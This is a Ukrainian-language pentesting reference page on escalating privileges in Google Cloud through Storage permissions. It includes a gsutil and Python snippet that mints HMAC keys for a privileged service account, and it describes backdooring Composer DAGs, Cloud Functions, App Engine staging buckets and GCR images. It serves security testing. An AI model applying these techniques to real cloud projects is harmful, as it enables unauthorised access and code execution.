GCP - Storage Privesc

Reading time: 6 minutes

Storage

Основна інформація:

GCP - Storage Enum

storage.objects.get

Ця дозволяє вам завантажувати файли, збережені в Cloud Storage. Це потенційно дозволить вам підвищити привілеї, оскільки в деяких випадках чутлива інформація зберігається там. Більше того, деякі сервіси GCP зберігають свою інформацію в бакетах:

• GCP Composer: Коли ви створюєте середовище Composer, код усіх DAG буде збережено в бакеті. Ці завдання можуть містити цікаву інформацію в своєму коді.
• GCR (Container Registry): Зображення контейнерів зберігаються в бакетах, що означає, що якщо ви можете читати бакети, ви зможете завантажити зображення та шукати витоки та/або вихідний код.

storage.objects.setIamPolicy

Ви можете надати собі дозвіл на зловживання будь-яким з попередніх сценаріїв цього розділу.

storage.buckets.setIamPolicy

Для прикладу, як змінити дозволи з цим дозволом, перегляньте цю сторінку:

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Функція "інтероперабельності" Cloud Storage, розроблена для взаємодії між хмарами, такими як AWS S3, передбачає створення HMAC-ключів для облікових записів служб і користувачів. Зловмисник може скористатися цим, генеруючи HMAC-ключ для облікового запису служби з підвищеними привілеями, таким чином підвищуючи привілеї в Cloud Storage. Хоча HMAC-ключі, пов'язані з користувачами, можна отримати лише через веб-консоль, як доступні, так і секретні ключі залишаються постійно доступними, що дозволяє потенційно зберігати резервні копії доступу. У свою чергу, HMAC-ключі, пов'язані з обліковими записами служб, доступні через API, але їх доступні та секретні ключі не можна отримати після створення, що додає рівень складності для безперервного доступу.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Ще один скрипт експлуатації для цього методу можна знайти тут.

storage.objects.create, storage.objects.delete = Права на запис у сховище

Щоб створити новий об'єкт у бакеті, вам потрібні storage.objects.create, а відповідно до документації, вам також потрібні storage.objects.delete, щоб модифікувати існуючий об'єкт.

Дуже поширена експлуатація бакетів, в які можна записувати в хмарі, відбувається у випадку, якщо бакет зберігає файли веб-сервера, ви можете бути в змозі зберегти новий код, який буде використовуватися веб-додатком.

Composer

Composer - це Apache Airflow, керований у GCP. Він має кілька цікавих функцій:

• Він працює всередині GKE кластера, тому SA, який використовує кластер, доступний коду, що виконується всередині Composer
• Усі компоненти середовища композера (код DAGs, плагіни та дані) зберігаються всередині бакета GCP. Якщо зловмисник має права на читання та запис, він може моніторити бакет і коли DAG створюється або оновлюється, подати версію з бекдором, щоб середовище композера отримало зберігання версію з бекдором.

Ви можете знайти PoC цієї атаки в репозиторії: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

• Код Cloud Functions зберігається в Storage, і коли створюється нова версія, код надсилається до бакета, а потім новий контейнер створюється з цього коду. Тому, перезаписуючи код перед створенням нової версії, можна змусити хмарну функцію виконувати довільний код.

Ви можете знайти PoC цієї атаки в репозиторії: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

Версії AppEngine генерують деякі дані всередині бакета у форматі назви: staging.<project-id>.appspot.com. Всередині цього бакета можна знайти папку під назвою ae, яка міститиме папку для кожної версії програми AppEngine, а всередині цих папок можна знайти файл manifest.json. Цей файл містить json з усіма файлами, які повинні бути використані для створення конкретної версії. Більше того, можна знайти реальні назви файлів, URL до них всередині бакета GCP (файли всередині бакета змінили свої назви на їх sha1 хеш) та sha1 хеш кожного файлу.

Зверніть увагу, що неможливо попередньо захопити цей бакет, оскільки користувачі GCP не мають права генерувати бакети, використовуючи доменне ім'я appspot.com.

Однак, з правами на читання та запис у цьому бакеті, можна ескалувати привілеї до SA, прикріпленого до версії App Engine, моніторячи бакет і будь-який раз, коли вносяться зміни (нова версія), модифікувати нову версію якомога швидше. Таким чином, контейнер, який створюється з цього коду, виконає код з бекдором.

Зазначену атаку можна виконати багатьма різними способами, всі вони починаються з моніторингу бакета staging.<project-id>.appspot.com:

• Завантажте повний новий код версії AppEngine до іншого доступного бакета та підготуйте manifest.json файл з новим ім'ям бакета та sha1 хешами. Тоді, коли нова версія створюється всередині бакета, вам просто потрібно модифікувати файл manifest.json і завантажити шкідливий.
• Завантажте модифіковану версію requirements.txt, яка використовуватиме код шкідливих залежностей і оновить файл manifest.json з новим ім'ям файлу, URL та його хешем.
• Завантажте модифікований файл main.py або app.yaml, який виконуватиме шкідливий код і оновіть файл manifest.json з новим ім'ям файлу, URL та його хешем.

Ви можете знайти PoC цієї атаки в репозиторії: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

• Google Container Registry зберігає зображення всередині бакетів, якщо ви можете записувати в ці бакети, ви можете бути в змозі переміститися вбік до того, де ці бакети виконуються.
• Бакет, що використовується GCR, матиме URL, подібний до gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Верхні піддомени вказані тут).

Посилання

• https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.